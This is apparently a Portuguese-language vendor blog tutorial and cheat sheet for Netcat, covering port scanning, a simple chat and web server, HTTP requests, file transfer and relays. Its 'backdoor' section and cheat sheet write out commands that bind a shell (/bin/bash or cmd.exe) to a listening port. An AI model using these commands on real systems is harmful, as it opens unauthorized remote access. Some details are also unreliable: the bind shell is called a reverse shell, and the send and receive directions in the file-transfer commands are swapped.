Varonis | Segurança de dentro para fora

Como usar o Netcat: exemplos e lista de comandos

Escrito por Michael Buckbee | Mar 25, 2021 4:00:00 AM

O programa utilitário Netcat oferece suporte a uma variedade de comandos para gerenciar redes e monitorar o fluxo de dados de tráfego entre vários sistemas. As redes de computadores, incluindo a world wide web, são construídas sobre o Protocolo de Controle de Transmissão (TCP) e o Protocolo de Datagrama do Usuário (UDP).  Basicamente, é uma ferramenta gratuita e fácil de usar junto com o Wireshark, especializado em análise de pacotes de rede. A versão original do Netcat foi lançada em 1995 e recebeu uma série de atualizações iterativas nas décadas seguintes.

Baixe a lista de comandos completa do Netcat

Para que serve o Netcat?

O Netcat pode ser uma ferramenta útil para qualquer equipe de TI, embora o crescimento dos serviços de rede gerenciados internamente e da computação em nuvem o torne uma escolha natural. Os administradores de rede e sistema precisam ser capazes de identificar rapidamente as tendências no desempenho da rede e o tipo de atividade que está ocorrendo.

O Netcat funciona como uma ferramenta de back-end que permite escaneamento e escuta de portas. Além disso, é possível transferir arquivos de forma eficaz diretamente via Netcat ou usá-lo como backdoor para outros sistemas na rede. Quando usado com uma ferramenta como o Varonis Edge, o usuário receberá um alerta em caso de atividade incomum e poderá usar o Netcat para investigar. Por fim, o Netcat é uma ferramenta flexível porque também pode ser programada para tarefas maiores.

Comandos básicos do Netcat

Depois de configurar o aplicativo Netcat no servidor Windows ou Linux, você pode começar a executar alguns comandos básicos para testar a funcionalidade dele. Aqui estão algumas dicas para ajudar você a começar:

nc -help – Este comando imprime uma lista de todos os comandos disponíveis no Netcat. Será útil se você encontrar algum erro ao escrever um script ou se não tiver certeza de como proceder.

nc -z -v site.com – Este comando executará um escaneamento básico de porta no site ou servidor especificado. O Netcat retornará resultados detalhados com listas de portas e status. Observação: você pode usar um endereço IP no lugar do domínio do site.

nc -l – Este comando instruirá o sistema local a começar a escutar conexões TCP e atividades UDP em um determinado número de portas.

nc site.com 1234 (less than) file_name – Este comando iniciará uma transferência de arquivo com base no número de porta especificado.

Printf – O Netcat pode ser usado como um host da web simplificado. Este comando permite salvar o código HTML e publicá-lo por meio do servidor local.

Sintaxe de comandos do Netcat

Todos os comandos do Netcat devem começar com o identificador “netcat” ou “nc”, como uma opção mais curta. Como padrão, o Netcat presumirá que você quer realizar um escaneamento de porta, a menos que você indique outra ação.

Você pode usar vários parâmetros de opção, incluindo: “-u” para tráfego UDP em vez de TCP, “-v” para resultados detalhados, “-p” para especificar uma determinada porta e “-D” para ativar o modo de depuração completa. Os atributos individuais dentro de um comando Netcat devem ser separados por um espaço. O prompt de comando notificará sobre qualquer erro de digitação ou termo não reconhecido no script.

Escaneamento de portas com comandos Netcat

Ao tentar diagnosticar um problema de rede ou de desempenho, a primeira etapa recomendada é executar um escaneamento de porta com o Netcat. O escaneamento verificará o status de todas as portas no domínio ou endereço IP especificado para determinar se há um firewall ou outro mecanismo de bloqueio.

Este é um comando básico de escaneamento de porta para um endereço IP ncat:

nc -v -n 8.8.8.8 1-1000

Observação: os números no final do comando instruem o Netcat a procurar apenas portas entre os números 1 e 1000.

Se você não souber o endereço IP de um servidor ou site, poderá procurá-lo por meio de um comando ping ou simplesmente digitando o domínio no comando Netcat:

nc -v -n google.com 1-1000

Para realizar escaneamentos de porta, você deve se conectar à rede corporativa local. Se isso não for possível, configure o roteador com um serviço VPN para criar um túnel seguro na rede.

Criar um bate-papo ou servidor web

Os programas de bate-papo estão em crescimento. De soluções de código aberto até aquelas que pareciam crescer rapidamente em popularidade, as organizações empresariais têm uma ampla variedade de ferramentas de bate-papo e comunicação à disposição. A realidade é que alguns especialistas em TI e administradores de sistema prefeririam uma solução simples somente de texto. O Windows Netcat pode atender a essa necessidade e permitir a transmissão de mensagens em uma rede local.

Primeiro, você precisa usar o Netcat para começar a escutar um número de porta. Tome cuidado para não escolher uma porta que já esteja em uso por outra aplicação ou serviço.

nc -l -p 1299

Então, você só precisa iniciar a sessão de bate-papo com uma nova conexão TCP:

nc localhost 1299

Esse processo também pode ser usado para executar um servidor web básico a partir do computador local. O Netcat atuará como um host da web e permitirá que você armazene conteúdo HTML que pode ser visualizado por meio de um navegador da web.

Primeiro, use tags HTML válidas e crie um novo documento de texto em seu sistema local. Em seguida, salve o arquivo como “index.html” e armazene-o no diretório raiz do Netcat. Depois, volte para o Netcat e execute este comando:

printf ‘HTTP/1.1 200 OK\n\n%s’ “$(cat index.html)” | netcat -l 8999

Para ver o HTML em ação, basta abrir um navegador da web e acessar o endereço IP local com 8999 no final para especificar a porta do host.

Escaneamento detalhado com comandos Netcat

Cada comando executado no Netcat incluirá um determinado texto de saída para indicar se a operação foi bem-sucedida ou não. Para fins de solução de problemas e depuração, é recomendável reunir o máximo de informações e logs possível, além de investir em soluções como o Varonis Datalert para detectar ameaças e responder com rapidez. O Netcat pode ser uma contribuição valiosa graças ao parâmetro Verbose que pode ser adicionado a qualquer comando básico do Netcat. Basta incluir “-v" ao comando e executá-lo novamente.

Mesmo com essa configuração ativada, o Netcat não revelará nenhuma das credenciais do usuário ou os dados de autenticação.

Solicitações HTTP com comandos Netcat

Descrevemos como usar o Netcat para hospedar páginas HTML no sistema local. No entanto, o utilitário também pode ser usado para enviar solicitações da web para servidores externos. Dessa forma, o Netcat atuará essencialmente como um navegador da web, obtendo código HTML bruto.

Juntamente com uma ferramenta como o Varonis Edge, o Netcat pode ser útil para profissionais de TI que queiram analisar problemas de tráfego na internet ou proxies. Aqui está um exemplo de como obter o conteúdo HTML da página inicial do Google:

printf “GET / HTTP/1.0\r\n\r\n” | nc google.com 80

Observação: esse tipo de comando requer a porta de número 80 porque é o que a world wide web a usa como padrão para conexões TCP com endereços IP.

Comandos para servidor TCP e cliente TCP

Embora o protocolo TCP seja usado principalmente para transferir tráfego da web em todo o mundo, ele pode, de fato, ser implementado em nível local para transferências de arquivos. Para fazer isso, você precisa executar o Netcat a partir de dois locais: um que atuará como um servidor para enviar o arquivo e outro que atuará como cliente para recebê-lo.

Execute este comando Netcat na instância do servidor para enviar o arquivo na porta 1499:

nc -l 1499 > filename.out

Em seguida, execute este comando no cliente para aceitar, receber e fechar a conexão:

nc server.com 1499 (less than) filename.in

Lembre-se de substituir “server.com” pelo nome completo do host ou endereço IP do servidor de envio.

ITEM com comandos Netcat

As versões mais recentes do Netcat permitem que você use o formato ITEM para transferir dados em vez dos protocolos TCP ou UDP padrão. Para fazer isso, você deve seguir esta sintaxe:

file_path (pipe) device_path (pipe) network host

Impedir a pesquisa de DNS com comandos Netcat

Os comandos Netcat são executados mais rapidamente quando operam apenas em endereços IP. Isso ocorre porque você não perde tempo conversando com servidores de nomes de domínio (DNS) para converter nomes de servidores em endereços IP. Se você perceber que os comandos Netcat ainda estão em execução lenta, não se esqueça de adicionar o operador “-n” para informar ao utilitário que as pesquisas de DNS não são necessárias.

Shell scripts com Netcat

Como mencionado, um dos benefícios de usar o Netcat é que ele pode ser incluído em um script maior que executa uma função automatizada. Como parte dos procedimentos de segurança, você pode executar um escaneamento de porta completo em todos os servidores para detectar novos aplicativos maliciosos que estão aguardando uma conexão.

Você pode escrever um script que:

1. Importa um arquivo de texto com nomes de servidores ou endereços IP;
2. Consulta o Netcat para executar um escaneamento de porta em cada servidor;
3. Grava a saída em um novo arquivo de texto para análise.

Você pode agrupar vários comandos Netcat em um único script e executá-los através de um shell Linux ou Windows. Em alguns casos, pode ser útil preparar scripts regularmente.

Execução de shell reverso (backdoor)

Para começar, você precisa habilitar a ferramenta shell em um comando Netcat usando o shell reverso Netcat:

nc -n -v -l -p 5555 -e /bin/bash

Em seguida, a partir de qualquer outro sistema na rede, você pode testar como executar comandos no host após a conclusão de uma conexão do Netcat no bash.

nc -nv 127.0.0.1 5555

Um shell reverso é uma abordagem de acesso remoto que envolve a execução de comandos administrativos de um terminal enquanto se conecta a outro servidor na rede. Para começar, você precisa habilitar a ferramenta shell em um comando Netcat usando o shell reverso Netcat:

nc -n -v -l -p 5555 -e /bin/bash

Em seguida, a partir de qualquer outro sistema na rede, você pode testar como executar comandos no host selecionado após a conclusão de uma conexão do Netcat no bash:

nc -nv 127.0.0.1 5555

Lista de comandos do Netcat

Até que você comece a usar o Netcat regularmente, a sintaxe do comando pode parecer confusa ou você pode esquecer alguns parâmetros. Não se preocupe! Incluímos abaixo uma lista com todas as informações necessárias para executar rapidamente um comando Netcat.

Noções básicas do Netcat

nc [options] [host] [port] – como padrão, este comando realizará um escaneamento de porta

nc -l [host] [port] – aciona um ouvinte na porta especificada

Sinalizadores de comandos do Netcat

nc -4 – usa apenas IPv4

nc -6 – usa IPv6

nc -u – usa UDP em vez de TCP

nc -k -l – continua ouvindo após a desconexão

nc -n – ignora pesquisas de DNS

nc -v – oferece saída detalhada

Relays Netcat no Windows

nc [host] [port] > relay.bat – abre uma conexão de relay

nc -l -p [port] -e relay.bat – conecta-se ao relay

Relays Netcat no Linux

nc -l -p [port] 0 (less than) backpipe (pipe) nc [client IP] [port] (pipe) tee backpipe

Transferência de arquivos com Netcat

nc [host] [port] (greater than) file_name.out – enviar um arquivo

nc [host] [port] (less than) file_name.in – receber um arquivo

Escaneamento de portas com o Netcat

nc -zv site.com 80 – escaneia uma única porta

nc -zv hostname.com 80 84 – escaneia uma série de portas individuais

nc -zv site.com 80-84 – escaneia um intervalo de portas

Banners do Netcat

echo “” | nc -zv -wl [host] [port range] – obtém banners TCP de um intervalo de portas

Backdoor shell com Netcat

nc -l -p [port] -e /bin/bash – executa um shell no Linux

nc -l -p [port] -e cmd.exe – executa um shell no Netcat para Windows

Outros recursos do Netcat

No mundo tecnológico atual em constante mudança, dominado por redes cada vez mais complexas, as empresas precisam adotar uma atitude proativa em relação à cibersegurança. Isso significa contratar especialistas que saibam quais ameaças procurar e como combatê-las. Caso contrário, mesmo um único caso de ataque cibernético, como um ransomware, pode causar danos permanentes para toda a organização. Combinar soluções da Varonis com ferramentas como o Netcat ajudará a manter sua rede interna mais segura.